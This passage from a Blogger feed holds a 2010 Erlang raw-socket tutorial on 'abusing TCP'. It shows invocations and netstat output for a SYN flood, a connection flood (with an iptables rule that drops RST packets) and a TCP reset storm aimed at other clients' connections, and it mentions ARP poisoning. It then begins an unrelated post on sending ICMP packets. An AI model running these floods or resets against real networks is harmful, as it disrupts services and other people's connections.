attacks.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;SYN flood: Sending a large number of requests to initiate a TCP connection will prevent the server from accepting connections from legitimate clients.&lt;br /&gt;&lt;li&gt;connection flood: Usually a client is limited in the number of connections it can open to a server; for example, by the number of available file descriptors. If the client can track the connections statelessly, a single client can overwhelm the server.&lt;br /&gt;&lt;/ul&gt;&lt;h1&gt;Preparation&lt;/h1&gt;&lt;ul&gt;&lt;li&gt;We'll use &lt;a href="http://github.com/msantos/procket"&gt;procket&lt;/a&gt; to pass the raw sockets into Erlang. To see how the packets are sent, &lt;a href="http://blog.listincomprehension.com/2010/06/fun-with-raw-sockets-in-erlang-sending.html"&gt;see this tutorial&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;procket uses the PF_PACKET socket interface, so these examples are Linux specific. I ran them on an Ubuntu 8.04 system. The functions in this source file can be used to send the Erlang binaries.&lt;br /&gt;&lt;script src="http://gist.github.com/446037.js?file=packet.erl"&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;I've tried to make the examples as self-contained as possible, but for parsing the packets and converting them into Erlang records, you'll need a copy of &lt;a href="http://github.com/msantos/epcap/raw/master/src/epcap_net.erl"&gt;epcap_net.erl&lt;/a&gt; and &lt;a href="http://github.com/msantos/epcap/raw/master/include/epcap_net.hrl"&gt;epcap_net.hrl&lt;/a&gt; from &lt;a href="http://github.com/msantos/epcap"&gt;epcap&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;On a hubbed network, like public 802.11 networks, you should be able to assign any IP address and act on the replies. &lt;br /&gt;&lt;br /&gt;&lt;li&gt;If you are on a switched network or on an 802.11 network pretending to be switched (WEP/WPA security), you'll only be able to sniff replies to your assigned IP address. Or you can use ARP poisoning, &lt;a href="http://ettercap.sourceforge.net/"&gt;ettercap&lt;/a&gt; works well.&lt;br /&gt;&lt;/ul&gt;&lt;h1&gt;SYN Flood&lt;/h1&gt;A SYN flood simply sends a large number of TCP packets with the SYN bit set to a target port. The source port, sequence number and (potentially) source IP address can be randomly assigned.  However, the source IP address should be non-existent. Any client listening on that IP will RST the connection when the server SYN ACK's, causing the server to deallocate all resources associated with the embryonic session.  &lt;script src="http://gist.github.com/446042.js?file=syn.erl"&gt;&lt;/script&gt;   &lt;em&gt;syn&lt;/em&gt; takes these arguments:  &lt;ul&gt;&lt;li&gt;Device name&lt;br /&gt;&lt;li&gt;Source 3-tuple&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Source MAC address&lt;br /&gt;&lt;li&gt;IP address &lt;br /&gt;&lt;li&gt;Source port, can be 0 to randomly choose a port&lt;br /&gt;&lt;/ul&gt;&lt;li&gt;Destination 3-tuple&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Destination MAC address&lt;br /&gt;&lt;li&gt;IP address &lt;br /&gt;&lt;li&gt;Source port, can be 0 to randomly choose a port&lt;br /&gt;&lt;/ul&gt;&lt;li&gt;Number of SYN packets to be sent&lt;br /&gt;&lt;/ul&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; syn:flood(&lt;span class="Constant"&gt;&amp;quot;ath0&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Special"&gt;{{&lt;/span&gt;&lt;span class="Constant"&gt;16#00&lt;/span&gt;,&lt;span class="Constant"&gt;16#15&lt;/span&gt;,&lt;span class="Constant"&gt;16#af&lt;/span&gt;,&lt;span class="Constant"&gt;16#59&lt;/span&gt;,&lt;span class="Constant"&gt;16#08&lt;/span&gt;,&lt;span class="Constant"&gt;16#26&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;, &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;, &lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Special"&gt;{{&lt;/span&gt;&lt;span class="Constant"&gt;16#00&lt;/span&gt;,&lt;span class="Constant"&gt;16#16&lt;/span&gt;,&lt;span class="Constant"&gt;16#3E&lt;/span&gt;,&lt;span class="Constant"&gt;16#E9&lt;/span&gt;,&lt;span class="Constant"&gt;16#04&lt;/span&gt;,&lt;span class="Constant"&gt;16#06&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;, &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;7&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;, &lt;span class="Constant"&gt;8080&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;, &lt;span class="Constant"&gt;10&lt;/span&gt;).&lt;br /&gt;ok&lt;br /&gt;&lt;/pre&gt;&lt;pre class="Code"&gt;msantos@ecn:~$ netstat &lt;span class="Special"&gt;-an&lt;/span&gt; &lt;span class="Statement"&gt;|&lt;/span&gt;grep &lt;span class="Constant"&gt;8080&lt;/span&gt;&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;            &lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;:*               LISTEN&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;18868&lt;/span&gt;   SYN_RECV&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;5705&lt;/span&gt;    SYN_RECV&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;60884&lt;/span&gt;   SYN_RECV&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;49723&lt;/span&gt;   SYN_RECV&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;1362&lt;/span&gt;    SYN_RECV&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;53146&lt;/span&gt;   SYN_RECV&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;57667&lt;/span&gt;   SYN_RECV&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;37629&lt;/span&gt;   SYN_RECV&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;7937&lt;/span&gt;    SYN_RECV&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;58975&lt;/span&gt;   SYN_RECV&lt;br /&gt;&lt;/pre&gt;&lt;h1&gt;Connection Flood&lt;/h1&gt;A connection flood works by sending a number of SYN packets to the destination port. The server will reply with a SYN-ACK. The client monitors the network for any replies from the destination port with the ACK bit set and sends an acknowledgement in response.    For an example of this behaviour, see &lt;a href="http://github.com/msantos/drench"&gt;drench&lt;/a&gt;, a utility written in C using &lt;a href="http://packetfactory.openwall.net/"&gt;libnet&lt;/a&gt;. The Erlang version is simpler, smaller and much more elegant.  &lt;script src="http://gist.github.com/446056.js?file=ack.erl"&gt;&lt;/script&gt;   On a switched network, you won't be able to sniff the replies to spoofed IP addresses. To run a connection flood, you'll need to adjust your firewall to drop RST packets. Since I'm using Ubuntu, I used the simple firewall interface, ufw.  &lt;pre class="Code"&gt;$ ufw enable&lt;br /&gt;$ iptables &lt;span class="Special"&gt;-I&lt;/span&gt; ufw-before-output &lt;span class="Special"&gt;-p&lt;/span&gt; tcp &lt;span class="Special"&gt;--tcp-flags&lt;/span&gt; RST RST &lt;span class="Special"&gt;--destination-port&lt;/span&gt; &lt;span class="Constant"&gt;8080&lt;/span&gt; &lt;span class="Special"&gt;-j&lt;/span&gt; DROP&lt;br /&gt;&lt;/pre&gt;Spawn a process to respond to ACK's. &lt;em&gt;ack&lt;/em&gt; takes 2 arguments:  &lt;ul&gt;&lt;li&gt;Device name&lt;br /&gt;&lt;li&gt;Port&lt;br /&gt;&lt;/ul&gt;For example, if you are listening on the &lt;em&gt;eth0&lt;/em&gt; device for packets with a target port of 8080:  &lt;pre class="Code"&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;spawn&lt;/span&gt;(ack, start, &lt;span class="Special"&gt;[&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;eth0&amp;quot;&lt;/span&gt;, &lt;span class="Constant"&gt;8080&lt;/span&gt;&lt;span class="Special"&gt;]&lt;/span&gt;).&lt;br /&gt;&lt;span class="Statement"&gt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;0.34&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Then send out SYN packets:  &lt;pre class="Code"&gt;&lt;span class="Constant"&gt;2&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; syn:flood(). &lt;span class="Comment"&gt;% send out 10 SYN packets&lt;/span&gt;&lt;br /&gt;ok&lt;br /&gt;&lt;/pre&gt;Checking the target host shows a number of connections in the ESTABLISHED state:  &lt;pre class="Code"&gt;msantos@ecn:~$ netstat &lt;span class="Special"&gt;-an&lt;/span&gt; &lt;span class="Statement"&gt;|&lt;/span&gt;grep &lt;span class="Constant"&gt;8080&lt;/span&gt;&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;            &lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;:*               LISTEN&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;50691&lt;/span&gt;   ESTABLISHED&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;49955&lt;/span&gt;   ESTABLISHED&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;12017&lt;/span&gt;   ESTABLISHED&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;13662&lt;/span&gt;   ESTABLISHED&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;35611&lt;/span&gt;   ESTABLISHED&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;57062&lt;/span&gt;   ESTABLISHED&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;11549&lt;/span&gt;   ESTABLISHED&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;30963&lt;/span&gt;   ESTABLISHED&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;41435&lt;/span&gt;   ESTABLISHED&lt;br /&gt;tcp        &lt;span class="Constant"&gt;0&lt;/span&gt;      &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;:&lt;span class="Constant"&gt;8080&lt;/span&gt;      &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;:&lt;span class="Constant"&gt;5591&lt;/span&gt;    ESTABLISHED&lt;br /&gt;&lt;/pre&gt;&lt;h1&gt;Resetting Connections&lt;/h1&gt;&lt;a href="http://en.wikipedia.org/wiki/TCP_reset_attack"&gt;TCP reset storms&lt;/a&gt; can be used on hubbed networks to bring down other client's TCP connections. I call this peer-to-peer QoS. For comparison, here is another version of &lt;a href="http://github.com/msantos/rst"&gt;rst&lt;/a&gt; written in C using &lt;a href="http://packetfactory.openwall.net/"&gt;libnet&lt;/a&gt;.    &lt;script src="http://gist.github.com/446057.js?file=rst.erl"&gt;&lt;/script&gt;     &lt;em&gt;rst&lt;/em&gt; takes 2 arguments:   &lt;ul&gt;&lt;li&gt;Device name&lt;br /&gt;&lt;li&gt;IP address to be excluded (to avoid resetting your own connections)&lt;br /&gt;&lt;/ul&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; rst:start(&lt;span class="Constant"&gt;&amp;quot;eth0&amp;quot;&lt;/span&gt;, &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;127&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;).&lt;br /&gt;&lt;/pre&gt;&lt;pre class="Code"&gt;$ ssh &lt;span class="Constant"&gt;192&lt;/span&gt;.&lt;span class="Constant"&gt;168&lt;/span&gt;.&lt;span class="Constant"&gt;213&lt;/span&gt;.&lt;span class="Constant"&gt;7&lt;/span&gt;&lt;br /&gt;Read from socket failed: Connection reset by peer&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-4870375792368472020?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/4870375792368472020/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/06/fun-with-raw-sockets-in-erlang-abusing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/4870375792368472020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/4870375792368472020'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/06/fun-with-raw-sockets-in-erlang-abusing.html' title='Fun with Raw Sockets in Erlang: Abusing TCP'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-6469396389436442651</id><published>2010-06-14T19:58:00.001-04:00</published><updated>2010-06-25T06:37:03.196-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='fun with raw sockets'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><category scheme='http://www.blogger.com/atom/ns#' term='nif'/><title type='text'>Fun with Raw Sockets in Erlang: Sending ICMP Packets</title><content type='html'>I've covered pinging other hosts before using &lt;a href="http://blog.listincomprehension.com/2010/05/icmp-ping-in-erlang.html"&gt;the IPPROTO_ICMP protocol and raw sockets&lt;/a&gt;, all in Erlang.&lt;br /&gt;&lt;br /&gt;Now I'd like to go through the exercise of sending ICMP echo packets using the Linux PF_PACKET interface. The process is somewhat tedious and complicated, so this post will reflect this, but it should be helpful since documentation for PF_PACKET tends to be a bit sparse.&lt;br /&gt;&lt;br /&gt;Even if you're only interested in the PF_PACKET C interface, this tutorial should be helpful. But you'll have to read a bit and mentally censor the Erlang bits.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;Erlang Binaries vs C structs&lt;/h1&gt;To provide a direct interface to &lt;a href="http://linux.die.net/man/2/sendto"&gt;sendto()&lt;/a&gt;, I've added an &lt;a href="http://www.erlang.org/doc/man/erl_nif.html"&gt;NIF&lt;/a&gt; interface for Erlang in &lt;a href="http://github.com/msantos/procket"&gt;procket&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The procket sendto() interface is system dependent, relying on the layout of your computer's &lt;em&gt;struct sockaddr&lt;/em&gt;. &lt;em&gt;struct sockaddr&lt;/em&gt; is typically constructed as follows:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr {&lt;br /&gt;    sa_family_t     sa_family;      &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; unsigned short int &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    &lt;span class="Type"&gt;char&lt;/span&gt;            sa_data[&lt;span class="Constant"&gt;14&lt;/span&gt;];    &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; buffer holding data, dependent on socket type &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;The data held in the sa_data member of &lt;em&gt;struct sockaddr&lt;/em&gt; varies based on the different socket types. For example, for a typical internet socket, a &lt;em&gt;struct sockaddr_in&lt;/em&gt; socket address is used:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr_in {&lt;br /&gt;    sa_family_t     sin_family;&lt;br /&gt;    in_port_t       sin_port;&lt;br /&gt;    &lt;span class="Type"&gt;struct&lt;/span&gt;          in_addr sin_addr;&lt;br /&gt;    &lt;span class="Type"&gt;char&lt;/span&gt;            sin_zero[&lt;span class="Constant"&gt;8&lt;/span&gt;];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;em&gt;Of course, these structures will vary by platform&lt;/em&gt;. On Linux, aside from a few inscrutable macros, the layout is similar to those shown above. BSD's, such as Mac OS X, add another structure member with the size of the structure:&lt;br /&gt;&lt;pre&gt;u_int8_t sin_len&lt;/pre&gt;The appearance and placement of this attribute will cause a lot of portability problems for you if you need to get code running on different OS'es. And it's only natural, since in this tutorial we are bypassing the normal library interfaces.&lt;br /&gt;&lt;br /&gt;So, just remember, PF_PACKET is pretty much a Linux specific interface, so we will be concentrating on the Linux eccentricities.&lt;br /&gt;&lt;br 